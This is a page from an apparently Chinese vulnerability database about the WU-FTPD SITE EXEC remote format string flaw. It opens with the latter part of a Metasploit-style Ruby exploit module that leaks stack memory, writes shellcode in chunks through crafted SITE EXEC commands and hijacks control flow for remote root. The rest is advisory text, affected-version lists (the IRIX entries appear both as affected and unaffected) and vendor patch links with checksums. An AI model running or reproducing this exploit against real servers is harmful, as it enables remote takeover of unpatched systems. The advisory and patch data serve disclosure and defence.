						'UseDPA' 	=> true,
						'PadBytes'	=> 2,
						'NumPops' 	=> 276,
						'AddrPops'  => 2,
						'Offset'    => -17664, 			# offset to stack return
						'Writable' 	=> 0x806e726,		# bss
						#'Writable' 	=> 0xbfff0126,		# stack, avoid badchars
						'FlowHook'	=> -1, # auto now... 0xbfffb028		# stack return addr
						#'FlowHook'  => 0x806e1e0		# GOT of sprintf
					}
				],
				
				#
				# this one will detect the parameters automagicly
				#
				[	'Debug',
					{
						'UseDPA' 	=> false,
						'PadBytes'	=> 0,
						'NumPops' 	=> 0,
						'AddrPops'  => -1,
						'Offset'    => -1,
						'Writable' 	=> 0x41414242, 	# 
						'FlowHook'	=> 0x43434545		# 
					}
				],
			],
			'DefaultTarget'  => 0))
		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end
	
	
	def check
		connect_login
		print_status("FTP Banner: #{banner.strip}")
		status = Exploit::CheckCode::Safe
		if banner =~ /Version wu-2\.(4|5)/
			status = Exploit::CheckCode::Appears
		elsif banner =~ /Version wu-2\.6\.0/
			status = Exploit::CheckCode::Appears
		end
		
		# NOTE: vulnerable and exploitable might not mean the same thing here :)
		if not fmtstr_detect_vulnerable
			status = Exploit::CheckCode::Safe
		end
		if not fmtstr_detect_exploitable
			status = Exploit::CheckCode::Safe
		end
		disconnect
		return status
	end
	
	
	def exploit
		
		connect_login
		
      # Use a copy of the target
		mytarget = target
		
		if (target['auto'])
			mytarget = nil
			
			print_status("Automatically detecting the target...")
			if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				print_status("No matching target")
				return
			end

			regexp = Regexp.escape(version)
			self.targets.each do |t|
				if (t.name =~ /#{regexp}/) then
					mytarget = t
					break
				end
			end
			
			if (not mytarget)
				print_status("No matching target")
				return
			end
			
			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
			if banner
				print_status("FTP Banner: #{banner.strip}")
			end
		end
		
		# proceed with chosen target...
		
		# detect stuff!
		if mytarget.name == "Debug"
			#fmtstr_set_caps(true, true)
			# dump the stack, so we can detect stuff magically
			print_status("Dumping the stack...")
			stack = Array.new
			extra = "aaaabbbb"
			1000.times do |x|
				dw = fmtstr_stack_read(x+1, extra)
				break if not dw
				stack << dw
			end
			  
			stack_data = stack.pack('V*')
			print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))
			
			# detect the number of pad bytes
			idx = stack_data.index("aaaabbbb")
			if not idx
				print_status("Whoa, didn't find the static bytes on the stack!")
				return
			end
			num_pad = 0
			num_pad = 4 - (idx % 4) if (idx % 4)
			mytarget.opts['PadBytes'] = num_pad

			# calculate the number of pops needed to hit our addr
			num_pops = (idx + num_pad) / 4
			mytarget.opts['NumPops'] = num_pops
		else
			num_pad = mytarget['PadBytes']
			num_pops = mytarget['NumPops']
			sc_loc = mytarget['Writable']
			ret = mytarget['FlowHook']
		end
		
		print_status("Number of pad bytes: #{num_pad}")
		print_status("Number of pops: #{num_pops}")
		
		# debugging -> don't try it!
		return if mytarget.name == "Debug"
		#print_status("ATTACH!")
		#sleep(5)
		
		fmtstr_detect_caps

		# compute the stack return address using the fmt to leak memory
		addr_pops = mytarget['AddrPops']
		offset = mytarget['Offset']
		if addr_pops > 0
			stackaddr = fmtstr_stack_read(addr_pops)
			print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
			ret = stackaddr + offset
		end
		
		print_status("Writing shellcode to: %#x" % sc_loc)
		print_status("Hijacking control via %#x" % ret)

		
		# no extra bytes before the padding..
		num_start = 0
		
		# write shellcode to 'writable'
		arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)
		
		# process it in groups of 24 (max ~400 bytes per command)
		sc_num = 1
		while arr.length > 0
			print_status("Sending part #{sc_num} of the payload...")
			sc_num += 1
			
			narr = arr.slice!(0..24)

			fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
			# a space allows the next part to start with a '/'
			fmtbuf[num_pad-1,1] = " "
			fmtbuf.gsub!(/\xff/, "\xff\xff")
			if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
				if res[0,4] == "500 "
					throw "Crap! Something went wrong when uploading the payload..."
				end
			end
		end
		

		# write 'writable' addr to flowhook (execute shellcode)
		# NOTE: the resulting two writes must be done at the same time
		print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])
		
		fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
		# a space allows the next part to start with a '/'
		fmtbuf[num_pad-1,1] = " "
		fmtbuf.gsub!(/\xff/, "\xff\xff")
		# don't wait for the response here :)
		res = send_cmd(['SITE', 'EXEC', fmtbuf], false)
		
		print_status("Your payload should have executed now...")
		handler
	end
	
	
	#
	# these two functions are used to read stack memory
	# (used by fmtstr_stack_read()
	#
	def trigger_fmt(fmtstr)
		return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
		send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
	end
	
	def extract_fmt_output(res)
		if res[0,4] == "500 "
			#throw "Crap! Something went wrong while dumping the stack..."
			return nil
		end
		ret = res.strip.split(/\r?\n/)[0]
		ret = ret[6,ret.length]
		return ret
	end
	
	
end
    

- 漏洞信息

11805
WU-FTPD site_exec() Function Remote Format String
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Third-party Verified

- 漏洞描述

WU-FTPD contains a flaw that may allow a remote attacker to execute arbitrary code. The issue is triggered due to a format string error in the site_exec() function. By sending a specially crafted argument to the SITE EXEC command, a remote attacker could potentially execute arbitrary code.

- 时间线

2000-06-22 Unknow
2000-06-22 Unknow

- 解决方案

Upgrade to version 2.6.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Wu-Ftpd Remote Format String Stack Overwrite Vulnerability
Input Validation Error 1387
Yes No
2000-06-22 12:00:00 2007-11-15 12:36:00
First posted to Bugtraq by tf8 <tf8@zolo.freelsd.net> on June 22, 2000.

- 受影响的程序版本

Washington University wu-ftpd 2.6 .0
+ Cobalt Qube 1.0
+ Conectiva Linux 5.1
+ Conectiva Linux 5.0
+ Conectiva Linux 4.2
+ Conectiva Linux 4.1
+ Conectiva Linux 4.0 es
+ Conectiva Linux 4.0
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3 -STABLE
- FreeBSD FreeBSD 4.3 -RELEASE
- FreeBSD FreeBSD 4.3
+ HP HP-UX 11.11
+ HP HP-UX 11.0
+ RedHat Linux 6.2 sparc
+ RedHat Linux 6.2 i386
+ RedHat Linux 6.2 alpha
+ RedHat Linux 6.1 sparc
+ RedHat Linux 6.1 i386
+ RedHat Linux 6.1 alpha
+ RedHat Linux 6.0 sparc
+ RedHat Linux 6.0 alpha
+ RedHat Linux 6.0
+ RedHat Linux 5.2 sparc
+ RedHat Linux 5.2 i386
+ RedHat Linux 5.2 alpha
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.2 i386
+ S.u.S.E. Linux 7.1 x86
+ S.u.S.E. Linux 7.1 sparc
+ S.u.S.E. Linux 7.1 ppc
+ S.u.S.E. Linux 7.1 alpha
+ S.u.S.E. Linux 7.0 sparc
+ S.u.S.E. Linux 7.0 ppc
+ S.u.S.E. Linux 7.0 i386
+ S.u.S.E. Linux 7.0 alpha
+ S.u.S.E. Linux 6.4 ppc
+ S.u.S.E. Linux 6.4 alpha
+ S.u.S.E. Linux 6.4
+ S.u.S.E. Linux 6.3 ppc
+ S.u.S.E. Linux 6.3 alpha
+ S.u.S.E. Linux 6.3
+ S.u.S.E. Linux 6.2
+ S.u.S.E. Linux 6.1 alpha
+ S.u.S.E. Linux 6.1
+ Turbolinux Turbolinux 4.0
+ Wirex Immunix OS 6.2
Washington University wu-ftpd 2.5 .0
+ Caldera OpenLinux 2.4
+ Caldera OpenLinux Desktop 2.3
+ RedHat Linux 6.0 sparc
+ RedHat Linux 6.0 alpha
+ RedHat Linux 6.0
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ SCO eServer 2.3
Washington University wu-ftpd 2.4.2 academ[BETA1-15]
+ Caldera OpenLinux Standard 1.2
Washington University wu-ftpd 2.4.2 academ[BETA-18]
+ RedHat Linux 5.2 i386
Turbolinux Turbolinux 4.0
Turbolinux Turbolinux 3.5 b2
Slackware Linux 7.1
Slackware Linux 7.0
RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 alpha
RedHat Linux 6.0
RedHat Linux 5.2 sparc
RedHat Linux 5.2 i386
RedHat Linux 5.2 alpha
RedHat Linux 5.1
- Standard & Poors ComStock 4.2.4
RedHat Linux 5.0
HP HP-UX (VVOS) 10.24
HP HP-UX 11.0 4
HP HP-UX 11.0
HP HP-UX 10.26
HP HP-UX 10.20
HP HP-UX 10.16
HP HP-UX 10.10
HP HP-UX 10.0 1
Debian Linux 2.3
Debian Linux 2.2
Debian Linux 2.1
Conectiva Linux 5.0
Conectiva Linux 4.2
Conectiva Linux 4.1
Conectiva Linux 4.0 es
Conectiva Linux 4.0
Conectiva Linux 3.0
Caldera OpenLinux 2.4
Caldera OpenLinux 2.3
Caldera OpenLinux 2.2
SGI IRIX 6.5.8
SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0
SGI IRIX 5.3
SGI IRIX 5.2
SGI IRIX 5.1
SGI IRIX 5.0
SGI IRIX 4.0
SGI IRIX 3.3
SGI IRIX 3.2

- 不受影响的程序版本

SGI IRIX 6.5.8
SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0
SGI IRIX 5.3
SGI IRIX 5.2
SGI IRIX 5.1
SGI IRIX 5.0
SGI IRIX 4.0
SGI IRIX 3.3
SGI IRIX 3.2

- 漏洞讨论

Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.

It should be noted that the SITE INDEX command is affected as well.

- 漏洞利用

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

Several exploits are available:

- 解决方案

Patches for various Linux distributions are listed below:

Linux-Mandrake (From their advisory):

Please upgrade to:

md5 sum: b4340d1007f5128d5d80502007c11a17
6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm


md5 sum: 89467e25e432271892aea433b613b4f7
6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm


md5 sum: 7e240d30b2e8cba1ba0c3dc59908aef7
7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm


md5 sum: 2b83dcb120012f1009e707398b5f4dc4
7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

To upgrade automatically, use « MandrakeUpdate ». If you want to
upgrade manually, download the updated package from one of our FTP
server mirrors and uprade with "rpm -Uvh package_name". All mirrors
are listed on http://www.mandrake.com/en/ftp.php3 Updated packages are
available in the "updates/" directory.



Debian Linux (taken directly from the advisory)

Debian GNU/Linux 2.1 alias slink
---------------------------------------------

This version of Debian was released only for Intel ia32, the Motorola
680x0, the Alpha, and the Sun Sparc architecture. Fixes for Intel ia32
and the Sun Sparc architecture are currently available; fixes for other
architectures will be available soon.

Source archives:
http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.diff.gz
MD5 checksum: a3d26f64852e10d5831f1362e214074b
http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.dsc
MD5 checksum: 3c1848cfbdc82eae8008e26f34b63029
http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16.orig.tar.gz
MD5 checksum: 1b636fbfb3a5417886cc4265cca0fc5f

Intel ia32 architecture:
http://security.debian.org/dists/slink/updates/binary-i386/wu-ftpd-academ_2.4.2.16-13.1_i386.deb
MD5 checksum: 9eace595dcb0ba68bb2ddd60ffbfa12f

Sun Sparc architecture:
http://security.debian.org/dists/slink/updates/binary-sparc/wu-ftpd-academ_2.4.2.16-13.1_sparc.deb
MD5 checksum: 1302d89ae95d8b40eb000472abeb461c

Debian 2.2 alias potato
- -----------------------

This version of Debian is not yet released. Fixes are currently available
for Alpha, ARM, Intel ia32, PowerPC, and the Sun Sparc architecture.
Fixes for other architectures will be available soon.

Source archives:
http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.diff.gz
MD5 checksum: d24ba31633ed0d279653c671f93bf624
http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.dsc
MD5 checksum: bc7138b128d8d32d5810ac19cc4ccf75
http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0.orig.tar.gz
MD5 checksum: 652cfe4b59e0468eded736e7c281d16f

Architecture indendent archives:
http://security.debian.org/dists/potato/updates/main/binary-all/wu-ftpd-academ_2.6.0-5.1_all.deb
MD5 checksum: fa11e4fb1e3852382e9261a265ab85be

Alpha architecture:
http://security.debian.org/dists/potato/updates/main/binary-alpha/wu-ftpd_2.6.0-5.1_alpha.deb
MD5 checksum: 3907a13fd70063eb8cccc47148d3b316


ARM architecture:
http://security.debian.org/dists/potato/updates/main/binary-arm/wu-ftpd_2.6.0-5.1_arm.deb
MD5 checksum: 9faeaec3a831510179c4e3a6ea50ff52

Intel ia32 architecture:
http://security.debian.org/dists/potato/updates/main/binary-i386/wu-ftpd_2.6.0-5.1_i386.deb
MD5 checksum: 8f74c7004d4a06bfef2a5de786993164

PowerPC architecture:
http://security.debian.org/dists/potato/updates/main/binary-powerpc/wu-ftpd_2.6.0-5.1_powerpc.deb
MD5 checksum: 4af70cff2b3a0396945df86fa8ebc6b8

Sun Sparc architecture:
http://security.debian.org/dists/potato/updates/main/binary-sparc/wu-ftpd_2.6.0-5.1_sparc.deb
MD5 checksum: 71320a88456af1b92f4e9848bbe76a80

Debian Unstable alias woody
- ---------------------------

A fix will be available in the unstable archive soon. Meanwhile, install
the appropriate potato packages listed above.

Connectiva Linux (Taken from their advisory):

DIRECT DOWNLOAD LINKS TO UPDATED PACKAGES

ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm


DIRECT LINK TO THE SOURCE PACKAGES
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm

Caldera Linux (Taken from the advisory):
-------------------------------------------------------
OpenLinux Desktop 2.3

Location of Fixed Packages

The upgrade packages can be found on Caldera's FTP site at:
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/

The corresponding source code package can be found at:
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS

Verification

ddc86702f33d6a5edddab258ddd72195 RPMS/wu-ftpd-2.5.0-7.i386.rpm
8090110ecef8d1efd2fe4c279f209e29 SRPMS/wu-ftpd-2.5.0-7.src.rpm


OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0

Location of Fixed Packages

The upgrade packages can be found on Caldera's FTP site at:
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/

The corresponding source code package can be found at:
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS

Verification

f909e8b47ec6780109c2437cdfdc2497 RPMS/wu-ftpd-2.5.0-7.i386.rpm
8354edf2f90e59aa96d8baf1d77e28a0 SRPMS/wu-ftpd-2.5.0-7.src.rpm

. OpenLinux eDesktop 2.4

Location of Fixed Packages

The upgrade packages can be found on Caldera's FTP site at:
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/

The corresponding source code package can be found at:
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS

Verification

d2df4fb386d65387039f33538571d907 RPMS/wu-ftpd-2.5.0-7.i386.rpm
13313d25d6d93dd98dd94e62d48c711c SRPMS/wu-ftpd-2.5.0-7.src.rpm

RedHat Linux (taken directly from their advisory):


6. RPMs required:

Red Hat Linux 5.2 (These versions should be ok with previous RedHat versions):

386:
ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm

alpha:
ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm

sparc:
ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm

sources:
ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm

Red Hat Linux 6.2 (These updated versions should work with all 6.x versions):

i386:
ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm

alpha:
ftp://updates.redhat.com/6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm

sparc:
ftp://updates.redhat.com/6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm

sources:
ftp://updates.redhat.com/6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm

7. Verification:

MD5 sum Package Name
--------------------------------------------------------------------------
e1f3b09d8ad0067fa7fd22e7afe77e64 5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm
7c2f89b3f8533ec54a36c5dde5995ce6 5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm
8dbd0b0f1fa1d0755393942cb4cb141d 5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm
5d9df2512a15e5c8914f398d980b12e7 5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm
67349a75b767585628912b840e52806e 6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm
fafe870fc91762dd7e9182df3b4dfee5 6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm
50c11f333641277ab75e6207bffb13b4 6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm
8abba6ffa660d1c221581855630ed40d 6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm

These packages are GPG signed by Red Hat, Inc. for security. Our key
is available at:
http://www.redhat.com/corp/contact.html

You can verify each package with the following command:

rpm --checksig <filename>

If you only wish to verify that each package has not been corrupted or
tampered with, examine only the md5sum with the following command:
rpm --checksig --nogpg <filename>



If you running a distribution that has not released patches yet, a diff is available to work-around/prevent the problem. It is in a message that is linked to in the "reference" part of this vuldb entry titled "Re: WuFTPD: Providing *remote* root since at least1994" posted by Peter Pentchev <roam@orbitel.bg>.

SuSE:
We recommend using our audited 2.4er version of wu-ftpd.

Update the package from our FTP server.
______________________________________________________________________________

Please verify these md5 checksums of the updates before installing:
(For SuSE 6.0, please use the 6.1 updates)

AXP:
634be5f377d4dfecb8f3456f3746860f ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/wuftpd-2.6.0-121.alpha.rpm
6adbc81c16569aa53bd48994a290127a ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-121.alpha.rpm
79e4b044ad8ef19497ce3a21c6f3a187 ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-121.alpha.rpm

i386:
b9f3877a600c770f73ee0478e069af82 ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wuftpd-2.6.0-122.i386.rpm
453da7bf608d24ac87b19ef71c504fff ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wuftpd-2.6.0-121.i386.rpm
1b8add24db4fb897ffdf8aea836f74c2 ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-121.i386.rpm
98720fa1385aa22f6ec53b4175a35be5 ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-122.i386.rpm

PPC:
d54e0c3a877a5414eb7b274ef77b9bc6 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-121.ppc.rpm
______________________________________________________________________________
You can find updates on our ftp-Server:

ftp://ftp.suse.com/pub/suse/i386/update for Intel processors
ftp://ftp.suse.com/pub/suse/axp/update for Alpha processors

or try the following web pages for a list of mirrors:
http://www.suse.de/ftp.html
http://www.suse.com/ftp_new.html

Our webpage for patches:
http://www.suse.de/patches/index.html

Our webpage for security announcements:
http://www.suse.de/security

Slackware:

The wu-ftpd daemon is part of the tcpip1.tgz package in the N series. A
new tcpip1.tgz package is now available in the Slackware -current tree.
All users of Slackware 7.0, 7.1, and -current are stronly urged to upgrade
to the new tcpip1.tgz package.

For users of Slackware 4.0, a wuftpd.tgz patch package is being provided
in the /patches tree of Slackware 4.0.


=========================================
wu-ftpd 2.6.1 AVAILABLE - (n1/tcpip1.tgz)
=========================================

FOR USERS OF SLACKWARE 7.0, 7.1, and -current:
---------------------------------------------

The recent vulnerability in wu-ftpd can be fixed by upgrading to the
new tcpip1.tgz package. This package upgrades the wu-ftpd server to
version 2.6.1. You can download it from the -current branch:

ftp://ftp.slackware.com/pub/slackware/slackware-current/slakware/n1/tcpip1.tgz

All users of Slackware 7.0, 7.1, and -current are strongly urged to
upgrade to the tcpip1.tgz package to fix the vulnerability in wu-ftpd.

For verification purposes, we provide the following checksums:

16-bit "sum" checksum:
45865 995

128-bit MD5 message digest:
2ffec28ac4b9de34d5899f7cd88cc5c3 n1/tcpip1.tgz

Installation instructions for the tcpip1.tgz package:

If you have downloaded the new tcpip1.tgz package, you should bring
the system into runlevel 1 and run upgradepkg on it:

# telinit 1
# upgradepkg tcpip1.tgz
# telinit 3



FOR USERS OF SLACKWARE 4.0:
--------------------------

The recent vulnerability in wu-ftpd can be fixed by installing the
wuftpd.tgz patch package. This package upgrades the wu-ftpd server
to version 2.6.1. You can download it from the Slackware 4.0 branch:

ftp://ftp.slackware.com/pub/slackware/slackware-4.0/patches/wuftpd.tgz

All users of Slackware 4.0 are strongly urged to install the wuftpd.tgz
patch package to fix the vulnerability in wu-ftpd.

For verification purposes, we provide the following checksums:

16-bit "sum" checksum:
06607 105

128-bit MD5 message digest:
75547b1762d7ff4fad233cd89529ff2c wuftpd.tgz

Installation instructions for the wuftpd.tgz package:

If you have downloaded the wuftpd.tgz patch package, you should bring
the system into runlevel 1 and run installpkg on it:

# telinit 1
# installpkg wuftpd.tgz
# telinit 3


Remember, it's also a good idea to backup configuration files before
upgrading packages.

- Slackware Linux Security Team
http://www.slackware.com


Mandrake:

To upgrade automatically, use < MandrakeUpdate >. If you want to
upgrade manually, download the updated package from one of our FTP
server mirrors and uprade with "rpm -Uvh package_name". All mirrors
are listed on http://www.mandrake.com/en/ftp.php3 Updated packages are
available in the "updates/" directory.

Please upgrade to:

md5 sum: b4340d1007f5128d5d80502007c11a17
6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

md5 sum: 89467e25e432271892aea433b613b4f7
6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

md5 sum: 7e240d30b2e8cba1ba0c3dc59908aef7
7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

md5 sum: 2b83dcb120012f1009e707398b5f4dc4
7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

md5 sum: bb37dbaf5f9fc3953c2869592df608c9
src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

FreeBSD:
Patches are available for FreeBSD 3, 4 and 5 at:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz

A patch is also available that was posted to Bugtraq by Daniel Jacobowitz <drow@false.org> of the Debian GNU/Linux project, available here:

http://www.securityfocus.com/data/vulnerabilities/patches/wu-ftpd2.6.0.diff


HP HP-UX 10.0 1
  • HP PHNE_22058


HP HP-UX 10.10
  • HP PHNE_22058


HP HP-UX 10.16
  • HP PHNE_22703


HP HP-UX 10.20
  • HP PHNE_22057


HP HP-UX (VVOS) 10.24
  • HP PHNE_22059


HP HP-UX 10.26
  • HP PHNE_22124


HP HP-UX 11.0 4
  • HP PHNE_22060


HP HP-UX 11.0

Turbolinux Turbolinux 3.5 b2

Turbolinux Turbolinux 4.0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站